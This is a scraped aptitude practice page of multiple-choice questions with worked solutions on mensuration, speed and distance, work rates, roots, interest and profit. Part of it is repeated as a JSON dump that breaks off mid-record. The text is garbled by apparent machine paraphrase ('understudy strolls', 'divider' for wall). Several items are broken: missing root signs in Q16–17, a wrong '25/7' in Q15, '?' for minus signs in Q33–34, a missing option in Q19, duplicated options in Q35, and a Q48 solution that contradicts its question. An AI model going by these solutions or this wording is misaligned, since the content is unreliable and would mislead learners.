= √ (900+576+324) =√1800= √900*2
= 30√2 cm
Q 4 - The most extreme length of a pencil that can be kept in a rectangular pencil box of measurements 8cm *6cm* 2 cm is:
A - 2√13 cm
B - 2√14 cm
C - 2√26 cm
D - 10√2 cm
Required length = √[(8)2 +(6)2 +(2)2]=√104 cm =√4*26
=2√26 cm.
Q 5 - The length of the longest shaft that can be kept in a room 5 m long, 4 m wide and 3 m high, is:
A - 5√2 m
B - 6√2 m
C - 7√2 m
D - none of these
Required length = √[(5) 2+(4) 2+(3) 2]=√(25+16)+(9)=√50m =√25*2 m =5√2m
Q 6 - The region of the base of a rectangular tank is 6500 cm2 and the volume of the water contained in it in 2.6 cubic meter. The profundity of the water in the tank is:
A - 2.5 m
B - 3 m
C - 5.5 m
D - 4 m
L*b= 6500cm2 , L*b*d=2.6m3=(2.6*100*100*100) cm3
∴ d = (2.6*100*100*100)/6500 cm = (2.6*100*100*100)/6500*100 = 4m
∴ Depth = 4m
Q 7 - What number of blocks will be expected to develop a divider 4 m long, 3 m high and 13 cm expansive , if every block measures 20 cm *12cm*6.5 cm?
A - 500
B - 1000
C - 1500
D - 2000
Volume of wall = (400*300*13) cm3
Volume of each bricks = (20*12*6.5) cm3
No. of bricks = (400*300*13 /20*12*13)*2 = 1000
Q 8 - A divider 24m long , 8 m high and 60cm thick is comprised of blocks, every measuring 24cm * 12cm *8cm , it being given that 10% of the divider comprises of mortar. What number of blocks will be required?
A - 50000
B - 45000
C - 40000
D - 20000
Volume of wall = (24*8*60/100)m3 =576/5m3
Volume of bricks = (90% of 576/5) m3= (90/100*576/5) m3= (144*18/25) m3
Volume if 1 bricks = (24/100*12/100*8/100) m3
Number of bricks = [(144*18/25)*100/24*100/12*100/8) = 45000
Q 9 - The velocities of A and B are in the proportion 3:4. A takes 20 min. more than B to achieve a destination. In what time does A achieve the destination?
A - 4/3 hrs
B - 2 hrs
C - 5/3 hrs
D - 8/3 hrs
Let the time taken by A be x hrs.
Then, time taken by B = (x-20/60) hrs = (x-1/3) hrs
Ratio of speeds = inverse ratio of time taken
∴3:4 =(x- 1/3): x ⇒3x-1/3x = 3/4
⇒12x- 4 = 9x
⇒3x= 4 ⇒x= 4/3 hrs
Required time = 4/3 hrs.
Q 10 - A is twice as quick as B and B is thrice as quick as C. The excursion secured by C in 42 min. will be secured by A in
A - 7 min.
B - 14 min.
C - 28 min.
D - 63 min.
Let c speed be x meters/min.
Then, B speed=3x meters /min and A speed =6x meters/ min.
Ratio of speed of A and C =ratio of times taken by C and A
6x:x=42:ymin⇒6x/x=42/y⇒y=42/6min=7 min.
Q 11 - The proportion between the paces of two trains is 7:8. On the off chance that the second prepare keeps running in 5 hours 400 km, the pace of the first prepare is :
A - 70 km/hr
B - 200 km/hr
C - 250 km/hr
D - 350 km/hr
Let the speed of first train be 7x km/hr.
Then the speed of the second train is 8x km/hr.
But speed of the second train=400/5km/hr=80 km/hr
∴8x=80⇒x=10.
Hence the speed of first train is (7*10) km/hr=70 km/hr.
Q 12 - A auto covers a separation of 715 km at a steady speed. On the off chance that the pace of the auto would have been 10 km/hr all the more, then it would have taken 2 hours less to cover the same separation. What is the first speed of the auto?
A - 45km/hr
B - 50 km/hr
C - 55 km/hr
D - 65 km/hr
Let the constant speed be x km/hr. Then,
715/x-715/(x+10) =2⇒1/x-1/(x+10) =2/715
⇒(x+10)-x/x(x+10) =2/715⇒x(x+10) =3575
⇒x2+10x-3575=0⇒x2+65x-55x-3575=0
⇒x(x+65)-55(x+65)=0
⇒(x+65)(x-55)=0
⇒x=55.
∴Original speed of the car is 55km/hr.
Q 13 - Two train approach one another at 30 km/hr and 27 km/hr from two spot 342 km separated. After how long will they meet?
A - 5 hrs.
B - 6 hrs.
C - 7 hrs.
D - 12 hrs.
Suppose the two trains meet after x hours. Then,
30x+27 x= 342 ⇒ 57 x = 342 ⇒ x = 342/57 = 6.
So the two trains will meet after 6 hours.
Q 14 - A understudy strolls from his home at 5/2 km/hr and achieves his school late by 6 min. Following day, he builds his pace by 1 km/hr and achieves a 6 min. before educational time. How far is the school from his home?
A - 5/4 km
B - 7/4 km
C - 9/4 km
D - 11/4 km
Let the required distance be x km. then,
x/ (5/2) - x/ (7/2) = 12/60 ( ∵difference between two times is 12 min.)
⇒ 2x/5 - 2x/7 = 1/5 ⇒ 14 x-10 x = 7 ⇒ 4x= 7 ⇒ x= 7/4
Required distance = 7/4 km
Q 15 - If an understudy strolls from his home to class at 5km/hrs, he is late by 30 min. However, on the off chance that he strolls at 6 km/hr. he is late by 5 min. just. The separation of his school from his home is:
A - 2.5 km
B - 3.6 km
C - 5.5 km
D - 12.5 km
Let the required distance be x km. then,
x/5 - x/6 = 25/7 (difference between two times is 25 min.)
⇒ 12x- 10 x = 25 ⇒2x = 25 ⇒ x= 25/2 km = 12.5 km
Q 16 - 176 + √2401 = ?
A - 14
B - 15
C - 18
D - 24
√176 +√2401 =√(176+49) =√225 =15
Q 17 - 248 + √ 52 +√144
A - 14
B - 16
C - 16.6
D - 18.8
Given exp.= √248 +√52+12 = √248+ √64 = √248+8 =√256 = 16
Q 18 - √(25/16) =?
A - 7/4
B - 5/4
C - 1.125
D - none of these
√25/16 = 5/4
Q 19 - √32+√48/ √8+√12 = ?
A - √2
B - 2
D - 8
(√32+√48)/( √8+√12) =(√16*2 +√16*3)/ √4*2 +√4*3)
= 4√2+4√3/ 2√2+2√3 = 4(√2+√3)/ 2(√2+√3) =2
Q 20 - (√24+√216)/√96= ?
A - 2√6
B - 6√2
C - 2
D - 1/3 √6
(√24+√216)/√96 = (√4*6 +√36*6)/ √16*6 = (2√6+6√6)/4√6
= 8√6 /4√6 = 2
Q 21 - if √24 is approximately equal to 4.898 , then √8/3 is nearly equal
A - 0.544
B - 1.333
C - 1.633
D - 2.666
√8/3 = √8*3/3*3 = √24/3 =4.898/3 = 1.633
Q 22 - given that √3= 1.732, the value of 3 +√6 /(5√3-2√12 -√32+√50)is:
A - 4.899
B - 2.551
C - 1.414
D - 1.732
Given exp = 3+√6/(5√3-2√4*3-√16*2+ √25*2)
= 3+√6/(5√3-4√3-4√2+5√2)
= (3+√6)/( √3+√2)*( √3-√2)/( √3-√2)
= 3√3-3√2+√18-√12/(3-2)
=(3√3-3√2+√9*2 -√4*3 )= (3√3-3√2+3√2-2√3) =√3= 1.732
Q 23 - A certain no. of men finishes a bit of work in 60 days. On the off chance that there were 8 men more work could be done in 10 days less. What number of men arrived initially?
A - 30
B - 40
C - 32
D - 36
Let there be x men originally.
X man finish the work in 60 days and (x+8) finish it in 50 days.
X man finish the job in 60 days.
⇒ 1 man can finish it in 50 (x+8) days.
∴ 60 x = 50(X+80 ⇒10 x= 400 ⇒x = 40
Hence, there were 40 men originally.
Q 24 - The rates of working of A and B are in the proportion 3:4. The no. of days taken by them to complete the work is in the proportion
A - 3:4
B - 9:16
C - 4:3
D - none of these
Ratio of time taken = 1/3 : 1/4 = 4:3
Q 25 - A man and a kid finish a work together in 24 days. On the off chance that throughout the previous 6 days man alone takes every necessary step then it is finished in 26 days. To what extent the kid will take to complete the work done?
A - 72 days
B - 20 days
C - 24 days
D - 36 days
Work done by (man + boy ) in 20 days = (1/24*20)= 5/6
Remaining work = (1-5/6) = 1/6
1/6 work is done by boy in 6 days.
Whole work will be done by the boy in (6*6) = 36 days
Q 26 - 8 men can delve a pit in 20 days. On the off chance that a man works half double as a kid then 4 men and 9 kids can delve a comparable pit in:
A - 10 days
B - 12 days
C - 15 days
D - 16 days
1 man = 3/2 boys , 8 men = (8*3/2) boys = 12 boys
(4men + 9 boys) = (4*3/2 +9) boys = 15 boys
Now, 12 boys dig it in 20 days.
1 boy digs it in (20*12) days.
15 boys will dig it in (20*12)/15 days = 16 days
Q 27 - 8 men can do a bit of work in 12 days. 4 ladies can do it in 48 days and 10 kids can do it in 24 days. In how long can 10 men, 4 ladies and 10 kids together finish the bit of work?
A - 5 days
B - 15 days
C - 28 days
D - 6 days
8 men 1 day work = 1/12 ⇒1 man 1 day work = 1/96
4 women 1 day work = 1/48 ⇒1 women 1 day work = 1/192
10 children 1 day work = 1/24 ⇒1 child 1 day work = 1/240
(10 men + 4 women +10 children)'s 1 day work = (10/96 + 4/192 +10/240)
= (5/48+ 1/48+ 1/24) = (5+1+2)/48 = 8/48 = 1/6
So, they can finish the work in 6 days.
Q 28 - A men, a ladies and a kid can together finish a bit of work in 3 days. In the event that a men alone can do it in 6 days and a kid alone in 18 days, to what extent will a ladies take to finish the work?
A - 9 days
B - 21 days
C - 24 days
D - 27 days
(1 man+ 1 women +1 boy ) 1 day work = 1/3
Suppose the women alone can do it in x days. Then
1/6 +1/x+1/18= 1/3 ⇒4/18 +1/x = 1/3 ⇒1/x = (1/3- 2/9) = 1/9
So, 1 woman can do the work in 9 days
Q 29 - 9 men working 7 hours a day can finish a bit of work in 15 days. In how long can 6 men functioning for 9 hours a day, complete the same bit of work?
A - 63/4 days
B - 16 days
C - 67/4 days
D - 35/2 days
(9*7) men working 1 hr a day can finish the work in 15 days.
63 men finish it in 15 days.
1 man can finish it in (15*63) days.
(6*9) men can finish it in (15*63)/ (6*9) days = 35/2 days
Q 30 - 9 youngsters can finish a bit of work in 360 days. 18 men can finish the same work of piece in 72 days and 12 ladies can finish it in 162 days. In how long can 4 men, 12 ladies and 10 kids together finish the bit of work?
A - 68 days
B - 81 days
C - 96 days
D - 124 days
9 children 1 day work = 1/360 ⇒1 child 1 day work = 1/3240
18 man 1 day work = 1/72 ⇒1 man 1 day work = 1/1296
12 women 1 day work = 1/162 ⇒1 women 1 day work = 1/1944
(4men +12 women +10 children) 1 day work = (4/1296+ 12/1944+10/3240)
= (1/324+1/162+1/324) = 4/324 = 1/81
Hence they can finish the work in 81 days.
Q 31 - 10 ladies can finish a work in 8 days and 10 youngsters take 12 days to finish the work. How long will 6 ladies and 3 kids together take to finish the work?
A - 7
B - 10
C - 9
D - 12
10 women 1 days work =1/8 ⇒1 women 1 day work = 1/80
10 children 1 day work = 1/12 ⇒1 children 1 day work = 1/120
(6 women + 3 children) 1 day work = (6/80 +3/120) = (3/40+ 1/40) = 4/40 = 1/10
So, they can finish the work in 10 days.
Q 32 - If 5 men or 9 ladies can complete a bit of work in 19 days, 3 men and 6 ladies will do likewise work in
A - 10 days
B - 12 days
C - 13 days
D - 15 days
5 men 1 day work = 1/19 ⇒ 1 man's 1 day work = 1/95
9 women 1 day work = 1/19 ⇒1 women 1 day work = 1/171
(3 men + 6 women) 1 day work = (3/95 + 6/171) = (27+30)/855 = 57/ 855 = 1/15
∴ 3 men and 6 women can finish the work in 15 days.
Q 33 - A man loses Rs 55.50 yearly when the yearly rate of interest tumbles from 11.5% to 10%. His capital is:
A - Rs 3700
B - Rs 7400
C - Rs 8325
D - Rs 11100
Let the capital be Rs. x. then,
(x*23/2*1/100*1) ?(x*10*1/100*1) = 55.50
=> 23x/200 ?x/10 =111/2 => 23x-20x =11100 => 3x= 11100 => x = 3700
Hence, the capital is Rs. 3700.
Q 34 - A cash bank finds that because of a fall in the yearly rate of interest from 8% to 31/4% his yearly salary reduces by Rs 61.50. His capital is:
A - Rs 22400
B - Rs 23800
C - Rs 24600
D - Rs 26000
Let the capital be RS. x. then
(x*8/100*1) ?(x*31/4*1/100*1) = 123/2
=> 2x/25-31x/400 = 123/2 => 32x-31x = 24600 => x= 24600
Hence, the capital is Rs. 24600.
Q 35 - A commission operators permits a refund of 2% to a financial specialist while the organization pays on interest of 15% on the speculation. What rate of premium does the financial specialist really acquire on his venture?
A - 17%
B - 131/8%
C - 17%
D - 750/49%
Instead of Rs.100, the investor invests = Rs. (100-2) = Rs. 98
Instead of Rs. 98 = Rs. 15
Interest on Rs. 100= Rs. (15/98*100) = Rs. 750/49
Q 36 - An aggregate of Rs 10000 is loaned mostly at 8% and the staying at 10% p.a. On the off chance that the year?s interest on the normal is 9.2% the cash loaned at 10% is:
A - Rs 6000
B - Rs 5500
C - Rs 5000
D - Rs 4500
Ratio of investments = 0.8: 1.2: = 2:3
Money at 10% = Rs. (10000*3/5) = Rs. 6000>
Q 37 - An aggregate of Rs 5000 was loaned mostly at 6% and incompletely at 9% basic interest. On the off chance that the aggregate yearly premium be Rs 390, the proportion in which the cash was loaned at given rates is:
A - 1:1
B - 1:2
C - 2:3
D - 3:2
Let the money invested at the two rates be rs. x and Rs. (5000-x)
Then, (x*6/100*1) + (5000-x) *9/100*1 = 390
=> 3x/50 + 9(5000-x)/100 = 390
=> 6x+45000-9x = 39000 => 3x= 6000 => x= 2000.
Required ratio = 2000:3000= 2:3
Q 38 - The distinction between the premiums got from two unique banks on Rs 5000 for a long time is Rs 25. The distinction between their rates is:
A - 1%
B - 2.5%
C - 0.5%
D - 0.25%
Let the rates be x% p.a. and Y % p.a. Then,
(5000*x/100*2)- (5000*y/ 100 *2) =25
=> 100(x-y) = 25 => x-y =0.25
Required difference in rates = 0.25% p.a.
Q 39 - An acquires Rs 8000 at 12% p.a simple interest and B gets Rs 9100 at 10%p.a. simple interest . In how long will their measures of obligations be equivalent?
A - 18 years
B - 20 years
C - 22 years
D - 24 years
Let the required time be x years. Then,
8000+8000*12/100*x= 9100+9100*10/100*x
=> 50x =1100 => x= 22 years
Q 40 - Rs. 6000 adds up to Rs. 7920 in 4 years at a sure rate of interest. On the off chance that the rate gets to be 1.5 times of itself, the measure of the same rule in 5 years will be:
A - Rs. 9240
B - Rs. 9600
C - Rs. 9000
D - Rs. 9450
P = Rs. 6000, S.I = Rs. (7920-6000) = Rs. 1920, T= 4 years.
R = (100*1920/6000*4) = 8% p.a.
New rate = (1.5*8) % p.a. = 12% p.a.
Now = Rs. 6000, R= 12% p.a. and T = 5 years.
S.I = Rs. (6000*12/100*5) = Rs.3600
Amount = (6000+3600) = Rs. 9600.
Q 41 - { 1+1/1+ 1/(1+1/3) } / 11/7 = ?
A - 1
B - 4/3
C - 5/4
D - 8/7
given exp. = { 1+ 1/ (1+1/(4/3)} /11/7
= { 1+ 1/( 1+3/4)} /11/7
= [ 1+ 1/(7/4)]/11/7
= (1+4/7) /11/7
= 11/7 /11/7
= 1
Q 42 - 3/2 /1+1/(1+1/4)= ?
A - 5/4
B - 3/2
C - 5/6
D - 1
given exp. = (3/2) / 1+ 1(/5/4)
= (3/2)/ (1+4/5)
= (3/2) /(9/5)
= ( 3/2 * 5/9)
= 5/6
Q 43 - 5/ 3+3 /(1-2/3 ) =?
A - 3/5
B - 5/3
C - 5/12
D - 5
given exp. = 5/ 3+ 3/(1/3)
= 5/ (3+9)
= 5/12
Q 44 - 79/14 / 5+ 3/ (3+ 1/3 /5 =?
A - 1
B - 3/2
C - 2
D - 5/2
given exp. = (79/14)/ 5+ 3/(3+5/3)
= (79/14)/ 5+ 3/(14/3)
= (79/14)/ 5+9/14
= (79/14)/(79/14)
= 1
Q 45 - 4- 5/ 1+ 1 / 3+ 1 / 2+ 1/4 = ?
A - 31/40
B - 1/8
C - 4/9
D - 40
given exp. = 4 - [5/ {1+ 1/ 3+(1/ 9/4)}]
= 4 - [ 5/{ 1+ 1/ (3+4/9)}]
= 4 - [5 / {1+ 1/ (31/9)}]
= 4 - 5/ (1+9/31)
= 4 - 5/ (40/31)
= 4- ( 5*31)/40
= 4- 31/8
= (32-31)/8
= 1/8
Q 46 - 1+ 1/1+ 1/1 + 1/9 = ?
A - 29/10
B - 10/19
C - 29/19
D - 10/9
given exp. = 1 + 1/(1+ 1/(9/10))
=1 + 1/(19/10)
=1 + 10/19
= 29/19
Q 47 - If 1/ 1+ 1 / 1+ 1/x = 2 then x = ?
A - ? 1/3
B - ? 1
C - 1/3
D - 1
1/(1+ 1/ (1+1/x)) = 2
⇒ 1/(1+x/(x+1)) = 2
⇒ (x+1)/ (2x+1) = 2
⇒ x+1= 4x+2
⇒ 3x= -1
⇒ x= -1/3
Q 48 - What is the selling price of a toy? If the cost of the toy is Rs. 90 and a profit of 15% over selling price is earned?
A - Rs. 103.5
B - Rs. 101.5
C - Rs. 107
D - Rs. 115
Cost price + profit = Selling Price
Cost price is Rs. 90
Profit is 15% of Cost Price=13.5
Selling Price = CP + Profit
=90+13.5 = 103.5
SP is Rs. 103.5
Q 49 - A person incurs 10% loss by selling a refrigerator for Rs 5400. At what price should the refrigerator be sold to earn 10% profit?
A - 5700
B - 6000
C - 6300
D - 6600
SP=5400 X (110)/90=6600.
Q 50 - By selling a Book for Rs.20, a man loses one eleventh of what it costs him. The cost of the Book is
A - 22
B - 21
C - 20
D - 19
Let us assume cost price is X
i.e., X - 20 = ( 1)/11 X
=>X=22
87 Lectures
22.5 hours
Programming Line
Print
Add Notes
Bookmark this page
|
[
{
"code": null,
"e": 4171,
"s": 3892,
"text": "This section presents you various set of Mock Tests related to Aptitude. You can download these sample mock tests at your local machine and solve offline at your convenience. Every mock test is supplied with a mock test key to let you verify the final score and grade yourself."
},
{
"code": null,
"e": 4257,
"s": 4171,
"text": "Q 1 - The entire surface range of a cuboid 24 cm long, 14 cm wide and 7.5 cm high is:"
},
{
"code": null,
"e": 4270,
"s": 4257,
"text": "A - 2520 cm2"
},
{
"code": null,
"e": 4283,
"s": 4270,
"text": "B - 1260 cm2"
},
{
"code": null,
"e": 4296,
"s": 4283,
"text": "C - 1242 cm2"
},
{
"code": null,
"e": 4308,
"s": 4296,
"text": "D - 621 cm2"
},
{
"code": null,
"e": 4433,
"s": 4308,
"text": "Zone of the entire surface = 2(Lb+ bh +Lh)\n= 2 (24*14 + 14*15/2 + 24* 15/2) cm2\n= 2(336+105+180) cm2= (621*2) cm2\n= 1242 cm2"
},
{
"code": null,
"e": 4577,
"s": 4433,
"text": "Q 2 - The length, expansiveness and tallness of a cuboid are in the proportion 6:5:4 and its entire surface region is 33300 cm2. Its volume is:"
},
{
"code": null,
"e": 4591,
"s": 4577,
"text": "A - 45000 cm3"
},
{
"code": null,
"e": 4606,
"s": 4591,
"text": "B - 405000 cm3"
},
{
"code": null,
"e": 4621,
"s": 4606,
"text": "C - 455000 cm3"
},
{
"code": null,
"e": 4647,
"s": 4621,
"text": "D - information deficient"
},
{
"code": null,
"e": 4905,
"s": 4647,
"text": "Let length = 6x cm, breadth = 5x cm and height = 4x cm\nWhole surface area = 2(lb+ bh + lh)\n=2 (6x*5x + 5x *4x + 6x *4x) cm2 = (148x2) cm2\n∴148x2= 33300 ⇒x2 = 225 ⇒x = √225 = 15 cm\n∴L= 90 cm , B= 75 cm and h= 60 cm\n∴Volume = (L*b*h) = (90*75*60) =405000cm3"
},
{
"code": null,
"e": 4984,
"s": 4905,
"text": "Q 3 - The length of the askew of a cuboid 30 cm long, 24 cm wide and 18 cm is:"
},
{
"code": null,
"e": 4994,
"s": 4984,
"text": "A - 30 cm"
},
{
"code": null,
"e": 5006,
"s": 4994,
"text": "B - 15 √2cm"
},
{
"code": null,
"e": 5019,
"s": 5006,
"text": "C - 30 √2 cm"
},
{
"code": null,
"e": 5029,
"s": 5019,
"text": "D - 60 cm"
},
{
"code": null,
"e": 5140,
"s": 5029,
"text": "Length of the diagonal =√ (L 2+ b2+ h2)= √[ (30)2 +( 24)2+(18)2]\n= √ (900+576+324) =√1800= √900*2\n= 30√2 cm"
},
{
"code": null,
"e": 5262,
"s": 5140,
"text": "Q 4 - The most extreme length of a pencil that can be kept in a rectangular pencil box of measurements 8cm *6cm* 2 cm is:"
},
{
"code": null,
"e": 5274,
"s": 5262,
"text": "A - 2√13 cm"
},
{
"code": null,
"e": 5286,
"s": 5274,
"text": "B - 2√14 cm"
},
{
"code": null,
"e": 5298,
"s": 5286,
"text": "C - 2√26 cm"
},
{
"code": null,
"e": 5310,
"s": 5298,
"text": "D - 10√2 cm"
},
{
"code": null,
"e": 5375,
"s": 5310,
"text": "Required length = √[(8)2 +(6)2 +(2)2]=√104 cm =√4*26\n=2√26 cm."
},
{
"code": null,
"e": 5477,
"s": 5375,
"text": "Q 5 - The length of the longest shaft that can be kept in a room 5 m long, 4 m wide and 3 m high, is:"
},
{
"code": null,
"e": 5487,
"s": 5477,
"text": "A - 5√2 m"
},
{
"code": null,
"e": 5497,
"s": 5487,
"text": "B - 6√2 m"
},
{
"code": null,
"e": 5507,
"s": 5497,
"text": "C - 7√2 m"
},
{
"code": null,
"e": 5525,
"s": 5507,
"text": "D - none of these"
},
{
"code": null,
"e": 5597,
"s": 5525,
"text": "Required length = √[(5) 2+(4) 2+(3) 2]=√(25+16)+(9)=√50m =√25*2 m =5√2m"
},
{
"code": null,
"e": 5768,
"s": 5597,
"text": "Q 6 - The region of the base of a rectangular tank is 6500 cm2 and the volume of the water contained in it in 2.6 cubic meter. The profundity of the water in the tank is:"
},
{
"code": null,
"e": 5778,
"s": 5768,
"text": "A - 2.5 m"
},
{
"code": null,
"e": 5786,
"s": 5778,
"text": "B - 3 m"
},
{
"code": null,
"e": 5796,
"s": 5786,
"text": "C - 5.5 m"
},
{
"code": null,
"e": 5804,
"s": 5796,
"text": "D - 4 m"
},
{
"code": null,
"e": 5932,
"s": 5804,
"text": "L*b= 6500cm2 , L*b*d=2.6m3=(2.6*100*100*100) cm3\n∴ d = (2.6*100*100*100)/6500 cm = (2.6*100*100*100)/6500*100 = 4m\n∴ Depth = 4m"
},
{
"code": null,
"e": 6083,
"s": 5932,
"text": "Q 7 - What number of blocks will be expected to develop a divider 4 m long, 3 m high and 13 cm expansive , if every block measures 20 cm *12cm*6.5 cm?"
},
{
"code": null,
"e": 6091,
"s": 6083,
"text": "A - 500"
},
{
"code": null,
"e": 6100,
"s": 6091,
"text": "B - 1000"
},
{
"code": null,
"e": 6109,
"s": 6100,
"text": "C - 1500"
},
{
"code": null,
"e": 6118,
"s": 6109,
"text": "D - 2000"
},
{
"code": null,
"e": 6240,
"s": 6118,
"text": "Volume of wall = (400*300*13) cm3\nVolume of each bricks = (20*12*6.5) cm3\nNo. of bricks = (400*300*13 /20*12*13)*2 = 1000"
},
{
"code": null,
"e": 6450,
"s": 6240,
"text": "Q 8 - A divider 24m long , 8 m high and 60cm thick is comprised of blocks, every measuring 24cm * 12cm *8cm , it being given that 10% of the divider comprises of mortar. What number of blocks will be required?"
},
{
"code": null,
"e": 6460,
"s": 6450,
"text": "A - 50000"
},
{
"code": null,
"e": 6470,
"s": 6460,
"text": "B - 45000"
},
{
"code": null,
"e": 6480,
"s": 6470,
"text": "C - 40000"
},
{
"code": null,
"e": 6490,
"s": 6480,
"text": "D - 20000"
},
{
"code": null,
"e": 6711,
"s": 6490,
"text": "Volume of wall = (24*8*60/100)m3 =576/5m3\nVolume of bricks = (90% of 576/5) m3= (90/100*576/5) m3= (144*18/25) m3\nVolume if 1 bricks = (24/100*12/100*8/100) m3\nNumber of bricks = [(144*18/25)*100/24*100/12*100/8) = 45000"
},
{
"code": null,
"e": 6869,
"s": 6711,
"text": "Q 9 - The velocities of A and B are in the proportion 3:4. A takes 20 min. more than B to achieve a destination. In what time does A achieve the destination?"
},
{
"code": null,
"e": 6881,
"s": 6869,
"text": "A - 4/3 hrs"
},
{
"code": null,
"e": 6891,
"s": 6881,
"text": "B - 2 hrs"
},
{
"code": null,
"e": 6903,
"s": 6891,
"text": "C - 5/3 hrs"
},
{
"code": null,
"e": 6915,
"s": 6903,
"text": "D - 8/3 hrs"
},
{
"code": null,
"e": 7137,
"s": 6915,
"text": "Let the time taken by A be x hrs.\nThen, time taken by B = (x-20/60) hrs = (x-1/3) hrs\nRatio of speeds = inverse ratio of time taken\n∴3:4 =(x- 1/3): x ⇒3x-1/3x = 3/4\n⇒12x- 4 = 9x\n⇒3x= 4 ⇒x= 4/3 hrs\nRequired time = 4/3 hrs."
},
{
"code": null,
"e": 7262,
"s": 7137,
"text": "Q 10 - A is twice as quick as B and B is thrice as quick as C. The excursion secured by C in 42 min. will be secured by A in"
},
{
"code": null,
"e": 7273,
"s": 7262,
"text": "A - 7 min."
},
{
"code": null,
"e": 7285,
"s": 7273,
"text": "B - 14 min."
},
{
"code": null,
"e": 7297,
"s": 7285,
"text": "C - 28 min."
},
{
"code": null,
"e": 7309,
"s": 7297,
"text": "D - 63 min."
},
{
"code": null,
"e": 7495,
"s": 7309,
"text": "Let c speed be x meters/min.\nThen, B speed=3x meters /min and A speed =6x meters/ min.\nRatio of speed of A and C =ratio of times taken by C and A\n6x:x=42:ymin⇒6x/x=42/y⇒y=42/6min=7 min."
},
{
"code": null,
"e": 7667,
"s": 7495,
"text": "Q 11 - The proportion between the paces of two trains is 7:8. On the off chance that the second prepare keeps running in 5 hours 400 km, the pace of the first prepare is :"
},
{
"code": null,
"e": 7680,
"s": 7667,
"text": "A - 70 km/hr"
},
{
"code": null,
"e": 7694,
"s": 7680,
"text": "B - 200 km/hr"
},
{
"code": null,
"e": 7708,
"s": 7694,
"text": "C - 250 km/hr"
},
{
"code": null,
"e": 7723,
"s": 7708,
"text": "D - 350 km/hr "
},
{
"code": null,
"e": 7933,
"s": 7723,
"text": "Let the speed of first train be 7x km/hr.\nThen the speed of the second train is 8x km/hr.\nBut speed of the second train=400/5km/hr=80 km/hr\n∴8x=80⇒x=10.\nHence the speed of first train is (7*10) km/hr=70 km/hr."
},
{
"code": null,
"e": 8184,
"s": 7933,
"text": "Q 12 - A auto covers a separation of 715 km at a steady speed. On the off chance that the pace of the auto would have been 10 km/hr all the more, then it would have taken 2 hours less to cover the same separation. What is the first speed of the auto?"
},
{
"code": null,
"e": 8196,
"s": 8184,
"text": "A - 45km/hr"
},
{
"code": null,
"e": 8209,
"s": 8196,
"text": "B - 50 km/hr"
},
{
"code": null,
"e": 8222,
"s": 8209,
"text": "C - 55 km/hr"
},
{
"code": null,
"e": 8235,
"s": 8222,
"text": "D - 65 km/hr"
},
{
"code": null,
"e": 8470,
"s": 8235,
"text": "Let the constant speed be x km/hr. Then,\n715/x-715/(x+10) =2⇒1/x-1/(x+10) =2/715\n⇒(x+10)-x/x(x+10) =2/715⇒x(x+10) =3575\n⇒x2+10x-3575=0⇒x2+65x-55x-3575=0\n⇒x(x+65)-55(x+65)=0\n⇒(x+65)(x-55)=0\n⇒x=55.\n∴Original speed of the car is 55km/hr."
},
{
"code": null,
"e": 8596,
"s": 8470,
"text": "Q 13 - Two train approach one another at 30 km/hr and 27 km/hr from two spot 342 km separated. After how long will they meet?"
},
{
"code": null,
"e": 8607,
"s": 8596,
"text": "A - 5 hrs."
},
{
"code": null,
"e": 8618,
"s": 8607,
"text": "B - 6 hrs."
},
{
"code": null,
"e": 8629,
"s": 8618,
"text": "C - 7 hrs."
},
{
"code": null,
"e": 8641,
"s": 8629,
"text": "D - 12 hrs."
},
{
"code": null,
"e": 8778,
"s": 8641,
"text": "Suppose the two trains meet after x hours. Then,\n30x+27 x= 342 ⇒ 57 x = 342 ⇒ x = 342/57 = 6.\nSo the two trains will meet after 6 hours."
},
{
"code": null,
"e": 9001,
"s": 8778,
"text": "Q 14 - A understudy strolls from his home at 5/2 km/hr and achieves his school late by 6 min. Following day, he builds his pace by 1 km/hr and achieves a 6 min. before educational time. How far is the school from his home?"
},
{
"code": null,
"e": 9012,
"s": 9001,
"text": "A - 5/4 km"
},
{
"code": null,
"e": 9023,
"s": 9012,
"text": "B - 7/4 km"
},
{
"code": null,
"e": 9034,
"s": 9023,
"text": "C - 9/4 km"
},
{
"code": null,
"e": 9046,
"s": 9034,
"text": "D - 11/4 km"
},
{
"code": null,
"e": 9242,
"s": 9046,
"text": "Let the required distance be x km. then,\nx/ (5/2) - x/ (7/2) = 12/60 ( ∵difference between two times is 12 min.)\n⇒ 2x/5 - 2x/7 = 1/5 ⇒ 14 x-10 x = 7 ⇒ 4x= 7 ⇒ x= 7/4\nRequired distance = 7/4 km"
},
{
"code": null,
"e": 9460,
"s": 9242,
"text": "Q 15 - If an understudy strolls from his home to class at 5km/hrs, he is late by 30 min. However, on the off chance that he strolls at 6 km/hr. he is late by 5 min. just. The separation of his school from his home is:"
},
{
"code": null,
"e": 9471,
"s": 9460,
"text": "A - 2.5 km"
},
{
"code": null,
"e": 9482,
"s": 9471,
"text": "B - 3.6 km"
},
{
"code": null,
"e": 9493,
"s": 9482,
"text": "C - 5.5 km"
},
{
"code": null,
"e": 9505,
"s": 9493,
"text": "D - 12.5 km"
},
{
"code": null,
"e": 9658,
"s": 9505,
"text": "Let the required distance be x km. then,\nx/5 - x/6 = 25/7 (difference between two times is 25 min.)\n⇒ 12x- 10 x = 25 ⇒2x = 25 ⇒ x= 25/2 km = 12.5 km"
},
{
"code": null,
"e": 9682,
"s": 9658,
"text": "Q 16 - 176 + √2401 = ?"
},
{
"code": null,
"e": 9689,
"s": 9682,
"text": "A - 14"
},
{
"code": null,
"e": 9696,
"s": 9689,
"text": "B - 15"
},
{
"code": null,
"e": 9703,
"s": 9696,
"text": "C - 18"
},
{
"code": null,
"e": 9710,
"s": 9703,
"text": "D - 24"
},
{
"code": null,
"e": 9743,
"s": 9710,
"text": "√176 +√2401 =√(176+49) =√225 =15"
},
{
"code": null,
"e": 9767,
"s": 9743,
"text": "Q 17 - 248 + √ 52 +√144"
},
{
"code": null,
"e": 9774,
"s": 9767,
"text": "A - 14"
},
{
"code": null,
"e": 9781,
"s": 9774,
"text": "B - 16"
},
{
"code": null,
"e": 9790,
"s": 9781,
"text": "C - 16.6"
},
{
"code": null,
"e": 9799,
"s": 9790,
"text": "D - 18.8"
},
{
"code": null,
"e": 9860,
"s": 9799,
"text": "Given exp.= √248 +√52+12 = √248+ √64 = √248+8 =√256 = 16"
},
{
"code": null,
"e": 9879,
"s": 9860,
"text": "Q 18 - √(25/16) =?"
},
{
"code": null,
"e": 9887,
"s": 9879,
"text": "A - 7/4"
},
{
"code": null,
"e": 9895,
"s": 9887,
"text": "B - 5/4"
},
{
"code": null,
"e": 9905,
"s": 9895,
"text": "C - 1.125"
},
{
